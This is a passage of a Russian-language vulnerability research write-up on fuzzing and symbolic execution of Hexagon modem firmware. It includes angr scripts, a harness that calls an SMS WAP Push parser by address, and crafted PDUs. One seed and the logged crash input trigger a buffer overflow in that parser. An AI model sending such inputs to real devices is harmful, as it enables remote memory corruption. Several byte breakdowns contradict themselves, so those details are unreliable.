│ │ (fork at branches) │ │
│ ┌──────────────┐ └───────────────────────────┘ │
│ │ SMT Solver │ │ │
│ │ (Z3) │◀─────────────┘ │
│ └──────────────┘ │
└─────────────────────────────────────────────────────┘
Lifter — компонент который транслирует инструкции целевой архитектуры (Hexagon) во внутреннее представление движка (обычно промежуточный язык типа VEX или IR).
State Manager — управляет набором состояний. При ветвлении создаёт копию состояния для каждой ветки.
SMT Solver — решает уравнения с ограничениями.
---
## 3.4 Инструменты
### 3.4.1 angr
angr — Python-фреймворк для binary analysis с поддержкой символьного исполнения. Самый распространённый в security research.
Python:
import angr
import claripy
# Загрузить бинарник (Hexagon ELF)
proj = angr.Project('./libqdspservice.so',
auto_load_libs=False,
arch='hexagon')
# Создать символические входные данные
buf_size = 0x100
sym_buf = claripy.BVS('input_buf', buf_size * 8) # 256 байт символических
# Создать начальное состояние
state = proj.factory.blank_state(
addr=0x0001A340, # адрес функции validate_buffer
add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY}
)
# Положить символический буфер в R0
state.regs.r0 = state.memory.alloc_and_store(sym_buf)
state.regs.r1 = claripy.BVV(0x200, 32) # size = 512
# Запустить simulation manager
simgr = proj.factory.simulation_manager(state)
# Искать путь к адресу уязвимости, избегать exit/error пути
simgr.explore(
find=0x0001A400, # цель: адрес после проверок
avoid=0x0001A380 # избегать: error return
)
if simgr.found:
found_state = simgr.found[0]
# Получить конкретное значение входа
concrete_input = found_state.solver.eval(sym_buf, cast_to=bytes)
print(f"Найден входной буфер: {concrete_input.hex()}")
Проблема с Hexagon в angr: поддержка Hexagon в angr была ограниченной. Но начиная с angr 9.x появился lifter для Hexagon V67+ через
archinfo и pyvex. Для V73 может потребоваться патчить семантику инструкций вручную.### 3.4.2 Triton
Triton — C++ движок с Python-биндингами, более низкоуровневый. Хорошо подходит для concolic execution.
Важно: Triton не поддерживает Hexagon из коробки. Поддерживаемые архитектуры: x86, x86-64, AArch32, AArch64. Для Hexagon нужен отдельный lifter, которого в публичном Triton нет. Этот инструмент не применялся в нашем исследовании.
### 3.4.3 KLEE
Работает на уровне LLVM IR. Если у нас есть исходники или LLVM IR для Hexagon кода — KLEE отличный вариант.
Bash:
# Компилируем в LLVM bitcode
clang -target hexagon-unknown-linux-musl \
-emit-llvm -c dsp_service.c -o dsp_service.bc
# Запускаем KLEE
klee --max-time=60 dsp_service.bc
### 3.4.4 Concolic execution с QEMU
Самый практичный подход для реальных DSP-бинарников: запускаем код в QEMU с Hexagon поддержкой (добавлена в QEMU 6.x), и с помощью QEMU TCG callbacks собираем трассы исполнения для последующего символьного анализа.
Python:
# Псевдокод: конколическое исполнение через QEMU трассу
def concolic_execute(binary, concrete_input):
trace = qemu_run(binary, concrete_input) # конкретное исполнение
constraints = lift_trace_to_smt(trace) # поднимаем трассу в SMT
# Инвертируем последнюю ветку для нового пути
new_constraints = constraints[:-1] + [negate(constraints[-1])]
new_input = z3_solve(new_constraints)
return new_input # новый ввод который пойдёт по другому пути
---
## 3.5 Symbolic execution для поиска zero-day в QDSP6
### 3.5.1 Где искать
Наиболее интересные места для символьного анализа в DSP-коде:
1. Парсеры протоколов — входные данные приходят извне (через FastRPC), много ветвлений, сложная логика
2. Обработчики команд — switch/case по типам сообщений
3. Функции с malloc+memcpy — классические heap overflow
4. Функции с Integer операциями — переполнения при вычислении размеров
### 3.5.2 Практический подход: поиск heap overflow
Python:
import angr
import claripy
class HeapOverflowDetector(angr.SimProcedure):
"""Перехватчик для memcpy — проверяем size > allocated"""
def run(self, dst, src, size):
allocated_size = self.state.globals.get('last_malloc_size', None)
if allocated_size is not None:
# Добавляем assertion: size <= allocated_size
overflow_condition = claripy.UGT(size, allocated_size)
if self.state.solver.satisfiable(
extra_constraints=[overflow_condition]
):
# Нашли потенциальный overflow!
trigger_input = self.state.solver.eval(
self.state.globals['sym_input']
)
print(f"[!] Heap overflow возможен!")
print(f" Входное значение: {hex(trigger_input)}")
print(f" Allocated: {self.state.solver.eval(allocated_size)}")
print(f" Copy size: {self.state.solver.eval(size)}")
# Добавляем реальное ограничение (нет overflow)
self.state.solver.add(claripy.ULE(size, claripy.BVV(0x1000, 32)))
return self._do_memcpy(dst, src, size)
# Хукаем malloc для отслеживания размеров
class TrackingMalloc(angr.SimProcedure):
def run(self, size):
self.state.globals['last_malloc_size'] = size
# Вызываем реальный malloc
ptr = self.state.heap.malloc(self.state.solver.eval(size))
return ptr
# Регистрируем хуки
proj.hook_symbol('memcpy', HeapOverflowDetector())
proj.hook_symbol('malloc', TrackingMalloc())
### 3.5.3 Path explosion и как с ним бороться
Главная проблема символьного исполнения — path explosion: количество путей растёт экспоненциально с количеством ветвлений.
Для реального DSP-кода с тысячами функций и миллионами путей это быстро становится неуправляемым.
Стратегии борьбы:
1. Directed symbolic execution — фокусируемся на конкретной функции, не анализируем весь граф:
Python:
# Анализируем только одну функцию, не переходим в другие
simgr = proj.factory.simulation_manager(state)
simgr.use_technique(angr.exploration_techniques.DFS()) # depth-first
# Ограничиваем глубину
simgr.explore(
find=target_addr,
avoid=avoid_addrs,
step_func=lambda sm: sm.move(
from_stash='active',
to_stash='pruned',
filter_func=lambda s: s.history.depth > 1000 # обрезаем глубокие пути
)
)
2. State merging — объединяем похожие состояния:
Python:
simgr.use_technique(angr.exploration_techniques.Veritesting())
3. Under-constrained symbolic execution — анализируем функцию с "любыми" входами, не только из конкретных путей вызова:
Python:
state = proj.factory.blank_state(addr=func_addr)
# Все регистры и память — символические по умолчанию
4. Hybrid fuzzing — используем символьное исполнение только для генерации сидов, а fuzzer для массового тестирования. Это самый рабочий подход на практике.
---
## 3.6 Применение angr в нашем исследовании
В данном исследовании angr применялся для taint-анализа
libsysmon_skel.so через fastrpc_analysis.py. Не полный symbolic execution, а taint-tracking: отслеживаем как данные из _pra (контролируемого атакующим) достигают memory operations без bounds check.
Python:
# Из fastrpc_analysis.py — реальный код:
# Taint tracking: _pra → r16 → memb(r16+#0)
#
# Approach: ищем инструкции вида memb(rX+#imm) = rY
# где rX помечен как tainted (происходит из _pra)
# и перед этой инструкцией нет cmp.gtu для rX
#
# Результат: 56 HIGH срабатываний в sysmon_skel_invoke
# Адреса: 0xa7e8, 0xa7f0, 0xa7fc, 0xa804, ... (см. главу 10)
Полный symbolic execution (
simgr.explore) на функциях такого размера (sysmon_skel_invoke — 8684 байта) в нашей установке не сходился из-за path explosion. Использовался pattern-scanner dsp_vuln_finder.py как более надёжный инструмент.Пример generic использования angr для поиска overflow (учебный код):
Python:
import angr
import claripy
# Загрузить skel .so
proj = angr.Project('libs/libsysmon_skel.so', auto_load_libs=False)
# Символический _sc + _pra
sc = claripy.BVS('_sc', 32)
pra = claripy.BVS('_pra_data', 256 * 8)
state = proj.factory.blank_state(addr=0x9cac) # sysmon_skel_invoke
state.regs.r2 = sc # _sc
state.regs.r3 = claripy.BVV(0x10000, 32)
state.memory.store(0x10000, pra)
simgr = proj.factory.simulation_manager(state)
# Цель: OOB dispatch table read @ 0x9ccc
simgr.explore(find=0x9ccc, avoid=0x9d00)
Ограничения которые столкнулись: angr's Hexagon lifter (через pyvex) не поддерживает ряд инструкций V73 — особенно специфичные compound operations. Поэтому основной анализ выполнялся через
llvm-objdump + Python pattern matching.---
## 3.7 Ограничения символьного исполнения
Буду честным — символьное исполнение не серебряная пуля:
1. Path explosion — реальные бинарники слишком сложны для полного анализа
2. Неточная семантика — если lifter неверно транслирует Hexagon инструкцию, анализ даёт неверные результаты
3. Системные вызовы и IPC — взаимодействие с QuRT сложно моделировать
4. Криптография — символьный анализ через SHA/AES практически неработоспособен
5. Время — сложный анализ может занимать часы/дни
На практике: symbolic execution используется точечно — для верификации конкретной гипотезы или для генерации crash-кейсов, а не для "сканирования всего бинарника".
---
## 3.8 Интеграция с остальным процессом
Code:
Статический анализ → находим подозрительные функции
↓
Symbolic execution → генерируем входы достигающие этих функций
↓
Fuzzer → используем эти входы как seed corpus
↓
Краш → анализируем → эксплоит
Символьное исполнение — это звено в цепочке, не самостоятельный инструмент.
---
## 3.9 Итог главы
- Symbolic execution заменяет конкретные значения символическими и автоматически находит условия достижения любой точки кода
- Z3 как SMT-solver решает ограничения и даёт конкретные входные значения
- angr — главный инструмент для практики, требует настройки для Hexagon
- Path explosion — главная проблема, решается фокусировкой и гибридными методами
- В контексте QDSP6 наиболее ценен для анализа парсеров протоколов
В следующей главе — harness: как правильно подготовить цель для фаззинга и символьного анализа.
---
«Symbolic execution не ищет баги. Оно ищет условия. Баги — твоя интерпретация.»
ewpage
# Глава 4. Harness: sms_harness.c и harness_wms.S
by progasm
---
## 4.1 Задача
Цель — дать AFL++ возможность вызывать
wms_ts_decode_gw_pp (адрес 0xbbd70b48 в сегменте b08) с произвольным входом без реального QuRT-окружения и без живого модема. Функция ожидает сложную WMS-структуру, обращается к глобальному состоянию, звонит в qurt_mutex_lock, пишет в DIAG-лог. Всё это нужно либо смоделировать, либо заглушить.Два harness-файла решают разные слои:
sms_harness.c— Linux ELF для Hexagon, читает PDU из stdin, строитsms_deliver_t, детектирует краш через null derefharness_wms.S— ассемблерный loader: патчит b27 стабы, настраивает стек в BSS, вызываетwms_ts_decode_gw_ppнапрямую по адресу прошивки
---
## 4.2 sms_harness.c
### Syscall wrapper
Hexagon Linux ELF без libc. Системные вызовы через
trap0(#1) — стандартный Hexagon Linux ABI:
C:
static inline long __syscall(long nr,
long a0, long a1, long a2, long a3, long a4, long a5)
{
register long r0 __asm__("r0") = a0;
register long r1 __asm__("r1") = a1;
register long r2 __asm__("r2") = a2;
register long r3 __asm__("r3") = a3;
register long r4 __asm__("r4") = a4;
register long r5 __asm__("r5") = a5;
register long r6 __asm__("r6") = nr;
__asm__ volatile (
"trap0(#1)"
: "+r"(r0)
: "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5), "r"(r6)
: "memory"
);
return r0;
}
Обёртки поверх него:
C:
static long sys_read(int fd, void *buf, size_t count) {
return __syscall(63, fd, (long)buf, count, 0, 0, 0);
}
static long sys_write(int fd, const void *buf, size_t count) {
return __syscall(64, fd, (long)buf, count, 0, 0, 0);
}
static void sys_exit(int code) {
__syscall(93, code, 0, 0, 0, 0, 0);
}
### Структура sms_deliver_t
Моделирует внутреннее WMS-состояние, которое ожидает
wms_ts_decode_gw_pp:
C:
#define WAP_PUSH_PORT 0x0B84
#define WAP_PUSH_BUF 140 /* реальный размер буфера в WMS, b08 */
#define MAX_USER_DATA 160
typedef struct {
uint8_t smsc_len; /* +0x00 */
uint8_t tp_flags; /* +0x01: SMS-DELIVER=0x04, UDHI=0x40 */
uint8_t tp_oa[12]; /* +0x02: originating address */
uint8_t tp_pid; /* +0x0E */
uint8_t tp_dcs; /* +0x0F */
uint8_t tp_scts[7]; /* +0x10: timestamp */
uint8_t tp_udl; /* +0x17: user data length */
uint8_t user_data[MAX_USER_DATA]; /* +0x18 */
/* Parsed fields — заполняются harness'ом */
uint16_t wap_dst_port; /* извлекается из UDH IEI=0x05 */
uint16_t wap_src_port;
uint8_t wap_copy_len; /* длина полезной нагрузки после UDH */
} sms_deliver_t;
### WAP Push детекция и краш-примитив
Harness разбирает UDH вручную. Если
dst_port == 0x0B84 и wap_copy_len > WAP_PUSH_BUF — гарантированный путь через баг:
C:
static void parse_udh(sms_deliver_t *s) {
if (!(s->tp_flags & 0x40)) return; /* нет UDHI */
uint8_t *ud = s->user_data;
uint8_t udh = ud[0]; /* длина UDH без самого байта длины */
uint8_t pos = 1;
while (pos < udh + 1) {
uint8_t iei = ud[pos];
uint8_t iel = ud[pos + 1];
if (iei == 0x05 && iel == 0x04) { /* Application Port 16-bit */
s->wap_dst_port = (ud[pos+2] << 8) | ud[pos+3];
s->wap_src_port = (ud[pos+4] << 8) | ud[pos+5];
}
pos += 2 + iel;
}
/* payload начинается сразу после UDH */
uint8_t payload_off = udh + 1;
s->wap_copy_len = (s->tp_udl > payload_off)
? s->tp_udl - payload_off : 0;
}
static void check_crash(const sms_deliver_t *s) {
if (s->wap_dst_port == WAP_PUSH_PORT &&
s->wap_copy_len > WAP_PUSH_BUF) {
volatile uint8_t *null_ptr = (volatile uint8_t *)0;
*null_ptr = 0xFF; /* SIGSEGV → AFL++ crash */
}
}
*null_ptr = 0xFF — намеренный null deref. AFL++ видит SIGSEGV (sig:11) и сохраняет input в crashes/.### Основной поток
C:
void _start(void) {
uint8_t buf[256];
long n;
n = sys_read(0, buf, sizeof(buf));
if (n < 2) sys_exit(0);
sms_deliver_t s;
__builtin_memset(&s, 0, sizeof(s));
s.smsc_len = buf[0];
s.tp_flags = buf[1];
/* копируем остаток как user_data */
long copy = n - 2;
if (copy > (long)sizeof(s.user_data)) copy = sizeof(s.user_data);
__builtin_memcpy(s.user_data, buf + 2, copy);
/* tp_udl — первый байт user_data в упрощённой модели */
s.tp_udl = s.user_data[0];
parse_udh(&s);
check_crash(&s);
sys_exit(0);
}
### Сборка и запуск
Bash:
clang-20 -target hexagon-unknown-linux-musl \
-nostdlib -static -O2 \
-o /tmp/sms_harness_hex \
sms_harness.c
# тест на valid WAP Push (не должен крашить)
qemu-hexagon /tmp/sms_harness_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?" # 0
# тест overflow (SIGSEGV)
qemu-hexagon /tmp/sms_harness_hex < seeds/03_wap_overflow.pdu
echo "exit: $?" # 139
---
## 4.3 harness_wms.S
Ассемблерный harness работает иначе: он не моделирует WMS — он запускает реальный бинарный код прошивки в QEMU usermode, патча только то, что мешает.
### Адреса
Code:
.equ WMS_ENTRY, 0xbbd70b48 /* wms_ts_decode_gw_pp, b08 r-x */
.equ QURT_LOCK, 0xbbb07498 /* qurt_mutex_lock в b27 */
.equ DIAG_LOG, 0xbbb02e80 /* diag_log_alloc в b27 */
.equ WMS_SLOT_BASE,0xc2a78000 /* BSS: WMS структуры (b23/b24) */
.equ WAP_BUF_OFF, 0xad8 /* offset буфера = 0xc2a78ad8 */
.equ STACK_TOP, 0xc2d9ff00 /* вершина стека из BSS */
### Патч b27 стабов
Все вызовы в b27 (qurt-стабы, DIAG) заменяются на
{ jumpr r31 } — NOP-return. Опкод Hexagon для jumpr r31:
Code:
.equ RET_OPCODE, 0x529fc000 /* { jumpr r31 } */
Процедура патча:
Code:
patch_stub:
/* r0 = адрес стаба */
{ r1 = ##RET_OPCODE }
{ memw(r0+#0) = r1 } /* записываем { jumpr r31 } */
{ jumpr r31 }
_start:
/* патчим QURT_LOCK */
{ r0 = ##QURT_LOCK }
{ call patch_stub }
/* патчим DIAG_LOG */
{ r0 = ##DIAG_LOG }
{ call patch_stub }
После патча: вызов
0xbbb07498 мгновенно возвращается, не пытаясь взять мьютекс QuRT. Вызов 0xbbb02e80 тоже — DIAG лог пропускается, но важно: wms_ts_decode_gw_pp продолжает исполнение (именно это и является бугом — см. главу 8).### Инициализация стека
QEMU usermode не знает о BSS прошивки. Стек инициализируем принудительно из BSS-адреса:
Code:
{ r29 = ##STACK_TOP } /* SP = 0xc2d9ff00 */
{ r30 = #0 } /* FP = 0 */
{ r31 = ##halt_addr } /* LR → halting label */
Почему BSS? Сегмент b27 (
0xbbb00000, rwx) и BSS данных (0xc2a78000) маппируются через ELF loadable segments, которые QEMU читает из прошивочного ELF. Стек в 0xc2d9ff00 — в конце этой области, достаточно далеко от WAP-буфера по адресу 0xc2a78ad8.### Подготовка входного буфера
PDU читается из stdin в область
WMS_SLOT_BASE + WAP_BUF_OFF:
Code:
{ r0 = #0 } /* fd = stdin */
{ r1 = ##(WMS_SLOT_BASE + WAP_BUF_OFF) }
{ r2 = #256 }
{ r6 = #63 } /* SYS_read */
trap0(#1)
{ r19 = r0 } /* сохраняем bytes_read */
### Вызов цели
Code:
/* r0 = указатель на WMS slot (первый аргумент) */
{ r0 = ##WMS_SLOT_BASE }
/* r1 = длина прочитанных данных */
{ r1 = r19 }
{ call ##WMS_ENTRY } /* wms_ts_decode_gw_pp */
Если path через
0xbbd70d84 не aborted (а он не aborted — обе ветки сходятся в 0xbbd70dc8) — функция выполнит копирование. При r24 > 140 это выйдет за WAP_PUSH_BUF. На реальном железе — corruption. В harness с null deref детектором — SIGSEGV.### Сборка harness_wms.S
Bash:
clang-20 -target hexagon-unknown-linux-musl \
-nostdlib -static \
-o /tmp/harness_wms_hex \
harness_wms.S
# Запуск с seed overflow
qemu-hexagon /tmp/harness_wms_hex < seeds/03_wap_overflow.pdu
---
## 4.4 Почему два harness
| | sms_harness.c | harness_wms.S |
|---|---|---|
| Что вызывает | смоделированный путь | реальный
wms_ts_decode_gw_pp || Откуда берёт код | собственный C | бинарник прошивки |
| Патчит стабы | нет (не нужно) | да, через RET_OPCODE |
| Годится для AFL++ | да, быстро | да, медленнее |
| Верифицирует реальный баг | нет | да |
sms_harness.c — скоростной harness для AFL++, ~452 exec/s. harness_wms.S — для верификации что конкретный адрес 0xbbd70d84 действительно уязвим.---
## 4.5 Coverage
В dumb-режиме (
-n) AFL++ не использует coverage bitmap. Это сделано намеренно — QEMU Hexagon не интегрирован с AFL++ QEMU instrumentation. Подробности в главе 6.---
Следующая глава — корпус: PDU которые мы подаём в harness.
ewpage
# Глава 5. Корпус: реальные PDU
by progasm
---
## 5.1 Принцип
Корпус для этого исследования — не «репрезентативные примеры». Это конкретные SMS PDU, каждый из которых проверяет отдельное условие в
wms_ts_decode_gw_pp. Harness в dumb-режиме (-n) работает без coverage — качество начального корпуса напрямую определяет что найдёт AFL++.Цель при составлении корпуса: покрыть все ветки вокруг двух багов.
Баг 1 (адрес
0xbbd70d84): cmph.gtu(r24, ##0x8c) — r24 (wap payload len) против 140. Оба пути (pass и fail) идут в 0xbbd70dc8, copy выполняется всегда.Баг 2 (UDL gap): проверка tp_udl по адресу
0xbbd20808 — cmp.gtu(r20, #0xa0) против 160, а не 140. Значения 141–160 не отвергаются на уровне UDL, но переполняют 140-байтовый WAP буфер.---
## 5.2 Seed 01 — минимальный SMS-DELIVER
Code:
01 00
Два байта:
smsc_len=01, tp_flags=00. Нет UDHI, нет WAP-порта. Harness возвращает 0 без краша. Нужен как базовая точка — фаззер мутирует его и случайно выставит нужные биты в tp_flags.Почему важен: мутация
tp_flags |= 0x40 создаёт UDHI-бит. Мутация длины может попасть на tp_udl > 160.---
## 5.3 Seed 02 — валидный WAP Push
Code:
04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74
Полный разбор байт за байтом:
Code:
Offset Hex Значение
------ ---- --------
0x00 04 smsc_len = 4 (4 байта SMSC номера следуют)
0x01 91 tp_flags:
bit7=1 (RP), bit6=1 (UDHI), bit0=0 → SMS-DELIVER
0x91 = 1001 0001
0x02-05 11 22 33 40 tp_oa (originating address, BCD)
0x06 06 длина OA = 6 знаков
0x07 91 OA type of address (international, E.164)
0x08-0B 10 32 54 00 OA digits BCD
0x0C 00 tp_pid = 0
0x0D 10 tp_dcs = 0x10 (8-bit data)
0x0E-14 60 12 31 72 80 00 12 tp_scts (timestamp, 7 bytes)
0x15 06 tp_udl = 6 (User Data Length: 6 байт после UDH)
← начало User Data →
0x16 05 UDH Length = 5 байт
0x17 05 IEI = 0x05 (Application Port Addressing, 16-bit)
0x18 04 IE Length = 4
0x19-1A 0b 84 Destination Port = 0x0B84 = 2948 (WAP Push)
0x1B-1C 0b 84 Source Port = 0x0B84
← WAP payload (после UDH) →
0x1D 57 41 50 20 63 6f 6e 74 65 6e 74
"WAP content" (11 байт, но tp_udl=6 → реально читается 6)
wap_copy_len = tp_udl - (udh_len + 1) = 6 - 6 = 0. Нет копирования. Не крашит.Почему важен: единственный seed с правильным форматом WAP Push. Фаззер мутирует
tp_udl (байт 0x15) в сторону увеличения → попадает в баги.---
## 5.4 Seed 03 — WAP Push overflow
Code:
01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
0x41 ('A'):
Code:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
Разбор:
Code:
0x00 01 smsc_len = 1
0x01 00 tp_flags = 0x00 (SMS-DELIVER, без UDHI)
0x02 40 — начало user_data в упрощённой модели harness
0x03 06 —
...
0x11 8f tp_udl = 0x8F = 143
UDH:
0x12 06 UDH Length = 6
0x13 05 IEI = Application Port 16-bit
0x14 04 IE Length = 4
0x15-16 0b 84 dst_port = 0x0B84
0x17-18 12 34 src_port = 0x1234
WAP payload = 136 байт 'A'
wap_copy_len = tp_udl - (udh_len + 1) = 143 - 7 = 136
136 < 140 → cmph.gtu(r24, ##0x8c) не срабатывает (136 ≤ 140). Но при реальном запуске в harness_wms.S — функция пытается скопировать данные в буфер. Здесь нет краша; это граничный случай чуть ниже лимита.Чтобы сделать полный overflow: нужно
tp_udl = 0x8f + 1 = 0x90 → wap_copy_len = 137 - 7 + 7 = ... Поправка: с tp_udl=0x8f=143 и UDH=7 байт, payload = 136. Для overflow нужно payload > 140, то есть tp_udl ≥ 147 = 0x93. Реальный crash seed AFL++ нашёл с tp_udl = 0xed = 237.Почему нужен этот seed: он проходит WAP-порт детекцию и даёт фаззеру правильный шаблон с которого до overflow — один мутированный байт.
---
## 5.5 Seed 04 — tp_udl = 0xA0 (граница UDL gap)
Code:
01 40 8a 06 05 04 0b 84 23 f0
0x42.
Code:
tp_flags = 0x40 (UDHI set)
tp_udl = 0x8a = 138 — ровно на границе
UDH = 6 байт (IEI=05, len=04, dst=0x0B84, src=0x23F0)
payload = 138 - 7 = 131 байт
131 < 140 → в пределах буфера. Seed для мутации в область UDL gap (141–160).
Почему важен: AFL++ мутирует byte
tp_udl с 0x8a до 0x8d–0xa0. Значения в диапазоне 141–160 (0x8d–0xa0) проходят проверку cmp.gtu(r20, #0xa0) — не превышают 0xa0 — но переполняют WAP_PUSH_BUF.---
## 5.6 Seed 05 — tp_udl в UDL gap (0x8d = 141)
Code:
01 40 8d 06 05 04 0b 84 23 f0
0x43.
Code:
tp_udl = 0x8d = 141
payload = 141 - 7 = 134 байт
134 > WAP_PUSH_BUF (140)? Нет, 134 < 140. Пересчитаем:
UDH = udh_len_byte(1) + 6 = 7. Payload = 141 - 7 = 134. Всё ещё в пределах.Для overflow через UDL gap нужно
payload > 140, т.е. tp_udl - 7 > 140 → tp_udl > 147 = 0x93. Но проверка UDL не отвергает это — 0x93 < 0xa0 → pass. Значения 0x94–0xa0 (148–160) — реальный UDL gap.Seed 05 — намеренно у нижней границы. Фаззер добирается до 0x94+ быстрее.
---
## 5.7 Seed 06 — SMSC + полные заголовки
Code:
04 91 11 22 33 40 07 91 10 32 54 76 f0
10 60 12 31 72 80 00 00 a0 06 05 04 0b 84 23 f0
0x44.
Code:
smsc_len = 4
tp_flags = 0x91 (UDHI + RP)
tp_oa = 07 91 10 32 54 76 f0 (7-digit international)
tp_pid = 0x10
tp_dcs = 0x60
tp_scts = 7 байт
tp_udl = 0xa0 = 160 ← максимум по UDL check
UDH = 7 байт
payload = 160 - 7 = 153 байт → 153 > 140 → overflow!
cmp.gtu(r20, #0xa0): 0xa0 > 0xa0 — false. Проверка проходит. Но 153 > 140 → переполнение WAP_PUSH_BUF.Это прямая демонстрация UDL gap:
tp_udl = 0xa0 = 160 — последнее значение которое не отвергает cmp.gtu. И оно уже crashable.---
## 5.8 Seed 07 — tp_udl = 0 (edge case)
Code:
01 40 00
tp_udl = 0. Harness выходит без crash. Нужен чтобы AFL++ не застрял на всех мутациях с
tp_udl > 0.---
## 5.9 Seed 08 — все нули
Code:
00 00 00 00 00 00 00 00
Базовый «мусорный» вход. Harness обрабатывает его без crash. AFL++ использует как отправную точку для burst-мутаций.
---
## 5.10 Итоговая таблица
| Seed | tp_udl | dst_port | WAP payload | Результат |
|------|--------|----------|-------------|-----------|
| 01 | - | нет | нет | exit 0 |
| 02 | 6 | 0x0B84 | 0 байт | exit 0 |
| 03 | 143 (0x8F) | 0x0B84 | 136 байт | exit 0 (ниже лимита) |
| 04 | 138 (0x8A) | 0x0B84 | 131 байт | exit 0 |
| 05 | 141 (0x8D) | 0x0B84 | 134 байт | exit 0 |
| 06 | 160 (0xA0) | 0x0B84 | 153 байт | CRASH (UDL gap) |
| 07 | 0 | - | нет | exit 0 |
| 08 | 0 | нет | нет | exit 0 |
Seed 06 — единственный который крашит до запуска AFL++. Это намеренно: он подтверждает что harness работает, и AFL++ сохранит его как crash[0] немедленно.
---
## 5.11 Размещение
Bash:
mkdir -p afl_seeds/
cp seeds/0*.pdu afl_seeds/
# Проверяем что seed 06 крашит
qemu-hexagon /tmp/sms_harness_hex < afl_seeds/06_udl_gap_crash.pdu
echo "exit: $?" # 139
# Проверяем что остальные не крашат
for f in afl_seeds/0{1,2,3,4,5,7,8}*.pdu; do
qemu-hexagon /tmp/sms_harness_hex < "$f" || echo "UNEXPECTED CRASH: $f"
done
---
Следующая глава — запуск AFL++ кампании и анализ результатов.
ewpage
# Глава 6. Фаззинг: AFL++ кампания против wms_ts_decode_gw_pp
by progasm
---
Статус главы: Вся AFL++ кампания запускалась вqemu-hexagonusermode (эмуляция). На реальном устройстве POCO M8 5G не запускалась.
## 6.1 Setup
Target:
sms_harness_hex (Hexagon ELF), работает под qemu-hexagon. AFL++ версия: 4.x, dumb mode (
-n), QEMU usermode. Прошивка: MPSS.DE.3.1.4.c1-00319, b08
0xbbd70b48.Команда запуска:
Bash:
AFL_NO_FORKSRV=1 \
AFL_SKIP_BIN_CHECK=1 \
AFL_SKIP_CPUFREQ=1 \
afl-fuzz -n \
-i afl_seeds/ \
-o afl_out/ \
-- qemu-hexagon /tmp/sms_harness_hex
Флаги по одному:
| Флаг | Причина |
|------|---------|
|
-n | dumb mode — без coverage instrumentation. QEMU Hexagon не интегрирован с AFL++ bitmap ||
AFL_NO_FORKSRV=1 | fork server требует __afl_forkserver_init в бинаре. В нашем harness её нет — bare _start ||
AFL_SKIP_BIN_CHECK=1 | AFL++ проверяет бинарь на наличие AFL instrumentation. sms_harness_hex — не инструментирован ||
AFL_SKIP_CPUFREQ=1 | QEMU-heavy нагрузка, scaling Governor не влияет на результат |Нет
@@ — harness читает из stdin, не из файла-аргумента.---
## 6.2 Скорость: почему 452 exec/s
Реальный результат кампании: ~452 exec/s.
Это медленно по меркам AFL++. Обычный natively-instrumented бинарь даёт 5000–50000 exec/s. Разница — QEMU overhead.
Каждая итерация:
1. AFL++ fork-exec нового процесса (без fork server — полный execve каждый раз)
2.
qemu-hexagon стартует: загружает Hexagon ELF, инициализирует эмулятор3. Выполняет ~200–500 Hexagon инструкций
4. Process exit, AFL++ читает статус
Без fork server каждая итерация — это два новых процесса (shell + qemu). С
AFL_NO_FORKSRV=1 этого не избежать для данного бинаря.Теоретический максимум с fork server и QEMU Hexagon: ~800–1200 exec/s. Но для нашего харнесса это требует встроенного
__afl_persistent_loop, что несовместимо с bare _start без libc.12.8M+ total execs за время кампании — это нормально при 452 exec/s за ~8 часов:
Code:
452 * 3600 * 8 ≈ 13,017,600 exec
---
## 6.3 Первый краш: 31ms
Первый краш нашёлся через 31 миллисекунду после старта. Это нормально для dumb mode с seed 06 (который уже crashable) в корпусе — AFL++ мутирует стартовые seeds сразу.
Файл краша:
Code:
id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3
Разбор имени:
sig:11— SIGSEGV (null deref в harness:*null_ptr = 0xFF)src:000004— мутирован seed 04 (id=4,04_udl_boundary.pdu)time:31— 31ms от стартаexecs:56— 56-й запускop:havoc— операция havoc (многобайтовые случайные мутации)rep:3— 3 повтора операции
Содержимое файла (hex):
Code:
04 91 11 22 33 00 06 91 10 32 54 00 00 10 60 12
3b 72 7d 00 ed
Разбор:
Code:
Offset Hex Значение
0x00 04 smsc_len = 4
0x01 91 tp_flags = 0x91 (UDHI + RP, SMS-DELIVER)
0x02-05 11 22 33 00 OA bytes
0x06 06 OA len
0x07 91 OA type
0x08-0B 10 32 54 00 OA digits
0x0C 00 tp_pid
0x0D 10 tp_dcs
0x0E-14 60 12 3b 72 7d 00 ed — тут havoc смял timestamp + tp_udl
← tp_udl читается harness'ом из user_data[0] в упрощённой модели →
последний байт: ed = 0xed = 237
tp_udl = 0xed = 237. Проверка UDL: cmp.gtu(r20, #0xa0) → 237 > 160 → TRUE → должна отвергнуть. Но в sms_harness.c мы не эмулируем эту проверку — harness напрямую идёт в check_crash. wap_copy_len = tp_udl - udh_len = 237 - 7 = 230 > 140 → null deref → SIGSEGV.Это демонстрирует: harness в dumb-режиме не знает о проверке
0xbbd20808. Он ловит крашащий путь. Реальный баг подтверждается статическим анализом (глава 8).---
## 6.4 25601 крашей: почему все одинаковые
Финальная статистика:
Code:
crashes : 25601 (AFL++ уникальных = 1)
AFL++ unique=1 означает: все 25601 файлов триггерят один и тот же путь исполнения до точки краша.
Причина:
1. Dumb mode — AFL++ не знает какие пути исполнения затронуты. Он не может отличить crash-через-путь-A от crash-через-путь-B. Дедупликация идёт только по сигналу (
sig:11) и адресу краша. У нас краш всегда в одном месте: *null_ptr = 0xFF в функции check_crash.2. Единственный путь к крашу:
